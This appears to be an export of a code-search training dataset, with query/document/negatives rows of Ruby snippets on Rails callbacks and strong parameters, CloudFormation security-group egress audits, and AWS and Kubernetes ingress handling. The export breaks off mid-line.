query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
sequencelengths
0
101
negative_scores
sequencelengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Use callbacks to share common setup or constraints between actions.
def set_client @client = Client.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def client_params params.require(:client).permit(:cuild, :nombre, :iva, :mail) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params\n true\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def user_params\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def user_params\r\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def parameters\n nil\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.71230334", "0.70530915", "0.69479465", "0.6902122", "0.67367256", "0.67172784", "0.6689043", "0.66784793", "0.6660117", "0.6555213", "0.6528485", "0.6458438", "0.6452378", "0.6451654", "0.64478326", "0.6433326", "0.6413599", "0.6413599", "0.63907677", "0.63787645", "0.63787645", "0.6375229", "0.63608277", "0.635366", "0.6283652", "0.62798274", "0.6245606", "0.62283605", "0.6224614", "0.6223649", "0.62118477", "0.6207179", "0.61780804", "0.6173056", "0.61674094", "0.615996", "0.6145132", "0.613597", "0.612235", "0.6108622", "0.6098955", "0.60767287", "0.6055062", "0.60391796", "0.60363555", "0.6030472", "0.6018476", "0.60174584", "0.60163116", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60052663", "0.6003681", "0.6001089", "0.5996807", "0.5994288", "0.59942675", "0.5984987", "0.59827954", "0.59777087", "0.5975369", "0.59706473", "0.5966046", "0.5965166", "0.5965166", "0.59577847", "0.5952617", "0.59503365", "0.59480196", "0.5943258", "0.5931462", "0.59299", "0.5927073", "0.5924737", "0.5919184", "0.5918459", "0.591457", "0.59142643", "0.59062785", "0.59054136", "0.59047925", "0.5902357", "0.5900476", "0.5898475", "0.5898218", "0.5895328" ]
0.0
-1
This will behave slightly different than the legacy jq based rule which was targeted against inline ingress only
def audit_impl(cfn_model) violating_security_groups = cfn_model.security_groups.select do |security_group| violating_egresses = security_group.egresses.select do |egress| violating_egress(egress) end !violating_egresses.empty? end violating_egresses = cfn_model.standalone_egress.select do |standalone_egress| violating_egress(standalone_egress) end violating_security_groups.map(&:logical_resource_id) + violating_egresses.map(&:logical_resource_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def distributed_engine_rules_2_json_simple(rules)\n\n end", "def get_ingress_endpoint(namespace, ingress_name)\n stdout, _, _ = execute(\"kubectl get ingress #{ingress_name} -n #{namespace} -o json -o jsonpath='{.status.loadBalancer.ingress[0].hostname}'\")\n stdout\nend", "def check_ingress_rule(rule, ip_permissions)\n if (rule.has_key? :security_group)\n group_name = rule[:security_group]\n protocols = rule[:protocol] || ['tcp', 'udp', 'icmp']\n match = Array(protocols).all? do |protocol|\n from_port = rule[:port] || rule[:from_port] || (protocol == 'icmp' ? -1 : 1)\n to_port = rule[:port] || rule[:to_port] || (protocol == 'icmp' ? -1 : 65535)\n get_group_permission(ip_permissions, group_name, protocol, from_port, to_port)\n end\n msg = \"Could not find ingress rule for #{group_name}\"\n else\n protocol = rule[:protocol] || 'tcp'\n from_port = rule[:port] || rule[:from_port] || (protocol == 'icmp' ? -1 : 1)\n to_port = rule[:port] || rule[:to_port] || (protocol == 'icmp' ? -1 : 65535)\n match = ip_permissions.any? do |perm|\n protocol == perm[:ip_protocol] &&\n from_port == perm[:from_port] &&\n to_port == perm[:to_port] &&\n perm[:ip_ranges].any? { |ip| ip[:cidr_ip] == rule[:cidr] }\n end\n\n msg = \"Could not find ingress rule for #{protocol} from port #{from_port} to #{to_port} with CIDR #{rule[:cidr]}\"\n end\n [match, msg]\n end", "def required_dns_records\n all_ingress_hostnames + SPECIAL_A_RECORD_NAMES\nend", "def get_kubernetes_ingress_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_ingress_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/Ingresses'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesIngressResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_ingress_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_ingress_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def puts_rule(product, rule, prefix=\"\")\n if product == \"ec2\"\n if rule[:from_port] == rule[:to_port]\n port = rule[:from_port]\n else\n port = \"#{rule[:from_port]}-#{rule[:to_port]}\"\n end\n\n if rule[:ip]\n puts \"#{prefix}IP range #{rule[:ip]} (#{@ip_to_name[rule[:ip]] || \"unknown\"}) on #{port} over #{rule[:protocol]}\"\n else\n puts \"#{prefix}Group #{rule[:group]} on #{port} over #{rule[:protocol]}\"\n end\n elsif product == \"rds\"\n if rule[:ip]\n puts \"#{prefix}IP range #{rule[:ip]} (#{@ip_to_name[rule[:ip]] || \"unknown\"})\"\n else\n puts \"#{prefix}Group #{rule[:group]}\"\n end\n end\nend", "def setRules(rules, add_to_self: false, ingress: true, egress: false)\n return if rules.nil? or rules.size == 0\n\n if add_to_self\n rules.each { |rule|\n if rule['sgs'].nil?\n new_rule = rule.clone\n new_rule.delete('hosts')\n rule['sgs'] = Array.new if rule['sgs'].nil?\n rule['sgs'] << { \"Ref\" => @cfm_name }\n end\n }\n end\n\n ec2_rules = convertToEc2(rules)\n\n # Creating an empty security group is ok, so don't freak out if we get\n # a null rule list.\n if !ec2_rules.nil?\n ec2_rules.each { |rule|\n next if rule.nil? or rule[:ip_ranges].nil? # XXX whaaat\n rule[:ip_ranges].each { |cidr|\n MU::Cloud::CloudFormation.setCloudFormationProp(\n @cfm_template[@cfm_name],\n \"SecurityGroupIngress\",\n {\n \"IpProtocol\" => rule[:ip_protocol],\n \"FromPort\" => rule[:from_port],\n \"ToPort\" => rule[:to_port],\n \"CidrIp\" => cidr[:cidr_ip]\n }\n )\n }\n }\n end\n\n end", "def authorize_security_group_IP_ingress(name, owner, from_port, to_port, protocol='tcp', cidr_ip='0.0.0.0/0')\n @ec2.autorize_security_group_ingress_IP(name, protocol, from_port, to_port, cidr_ip) \n rescue Exception\n on_query_exception('authorize_security_group_IP_ingress')\n end", "def accept_rule rule\n use_prefix or @res << ' ' * @indent\n @res << '-' * 3\n @res << \"\\n\"\n end", "def rule\n super\n end", "def rule\n super\n end", "def ingress_interface\n list = config_get('itd_service', 'ingress_interface', @get_args)\n rlist = []\n list.each do |intf, next_hop|\n intf.gsub!('Eth', 'ethernet ')\n intf.gsub!('Po', 'port-channel ')\n intf.gsub!('Vlan', 'vlan ')\n next_hop = '' if next_hop.nil?\n rlist << [intf, next_hop]\n end\n rlist\n end", "def bucket_cors_rules(s3_client, bucket_name)\r\n response = s3_client.get_bucket_cors(bucket: bucket_name)\r\n response.cors_rules\r\nrescue StandardError => e\r\n puts \"Error getting CORS rules: #{e.message}\"\r\nend", "def expand_rule(trigger, instruction, proto='http')\n u = URI.parse(instruction)\n \n (if u.scheme.nil?\n { trigger => \"http-proxy://#{instruction}\" }\n elsif u.scheme == \"http\"\n u.scheme = \"http-proxy\"\n { trigger => u.to_s }\n else\n { trigger => instruction }\n end).merge({\n \"#{trigger.gsub(proto + \"://\", \"dns://\")}/a\" => \"dns-a://#{STUBBY_MASTER}\"\n })\n end", "def event_rules_for_comparison(client, deployment_id)\n rules = []\n client.list_rules.each do |resp|\n resp.rules.each do |rule|\n if deployment_id\n if rule.name.match(/^convergdb\\-#{deployment_id}/)\n rules << {\n name: rule_name_to_etl_job(rule.name),\n technology: 'aws_fargate',\n this_deployment: true\n }\n elsif rule.name.match(/^convergdb/)\n rules << {\n name: rule_name_to_etl_job(rule.name),\n technology: 'aws_fargate',\n this_deployment: false\n }\n end\n else\n if rule.name.match(/^convergdb/)\n rules << {\n name: rule_name_to_etl_job(rule.name),\n technology: 'aws_fargate',\n this_deployment: false\n }\n end\n end\n end\n end\n rules\n end", "def _not_nil_sub_property_name_rule_name(\n resource_type, password_property, sub_property_name\n)\n [\n resource_type.sub('AWS', '').gsub('::', ''),\n password_property,\n sub_property_name,\n 'Rule'\n ].join\nend", "def test_2_add_rule_bad\n pattern = ''\n resource = 'A'\n dns_response = 